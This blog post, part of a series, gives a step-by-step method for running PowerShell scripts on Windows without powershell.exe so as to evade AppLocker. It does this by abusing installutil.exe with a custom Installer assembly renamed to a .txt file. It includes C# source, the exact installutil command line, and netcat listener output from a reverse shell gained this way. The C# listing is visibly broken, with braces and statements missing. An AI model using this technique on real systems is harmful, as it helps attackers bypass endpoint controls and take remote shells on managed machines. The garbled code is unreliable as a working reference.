This is the third part of my “powershell-less” series: howto execute powershell scripts without using powershell.exe

In part 2 I used  DotNetToJscript  in order to circumvent AppLocker policy.

Now let’s try to use another technique.  The problem is always the same: we cannot run executable files outside windows directories and  we can’t run powershell.exe.

Never heard about installutil.exe? It is  usually located in the framework folder (ex: C:\Windows\Microsoft.NET\Framework64\v4.0.30319).

Why should it be usfeul? Because of that:

“The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. This tool works in conjunction with classes in the System.Configuration.Install namespace.”

  1. We could integrate installutil in our powerhsell-less assembly and overwrite some of his actions with our own. For example the uninstall process:
    • installutil /u <our_assembly>
  2. installutil does NOT require  the assembly to have .exe extension.. got it ? 😉


Now, how can we achieve our goal?

Very simple: In our powershell-less C# code, we have to reference “System.Configuration.Install”  and create our specialized class inherited from “System.Configuration.Install.Installer”. Then,  we will  overwrite the  Uninstall() method and execute our powerhsell-less routine.  Easy?


using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Text;
using System.Configuration.Install;
namespace PSLess
 public class InstallUtil : System.Configuration.Install.Installer
   public override void Uninstall(System.Collections.IDictionary savedState)
       string[] args= {this.Context.Parameters["ScriptName"]};

class PSLess
   public static void Main(string[] args)
     if (args.Length == 0)
     string script = LoadScript(args[0]);
     string s = RunScript(script);
  private static string LoadScript(string filename)
    string buffer = "";
     buffer = File.ReadAllText(filename);
    catch (Exception e)
    return buffer;
  private static string RunScript(string script)
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    Pipeline MyPipeline = MyRunspace.CreatePipeline();
    Collection<PSObject> outputs = MyPipeline.Invoke();
    StringBuilder sb = new StringBuilder();
    foreach (PSObject pobject in outputs)
    return sb.ToString();

As you can see, code is much the same as  in first part:

  • Added the reference  to “System.Configuration.Install”
  • Added my “InstallUtil” class derived from System.Configuration.Install.Installer
  • Overwrote the method Uninstall() which calls my PSLess.Main method passing the script name specified in command line argument “ScriptName”


Now let’s compile it and then rename our powershell-less.exe in powerhsell.txt

We already have prepared our test.ps1:

echo "hello from powershell-less"
echo "this is your pid:$PID"

Time to test it:

installutil  /logfile= /LogToConsole=false /ScriptName=c:\andrea\test.ps1 /U Powershell.txt


It worked, we executed our powershell-less pseudo txt file!


Now that we know how to run our custom assemblies  with .txt extension we can do much more, there are no limits to your  fantasy.. how a about a reverse shell in C#?






.. and we have our reverse shell:

listening on [any] 4444 ...
connect to [] from [] 50211
Microsoft Windows [Versione 10.0.15063]
(c) 2017 Microsoft Corporation. Tutti i diritti sono riservati.




That’s all 🙂







Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s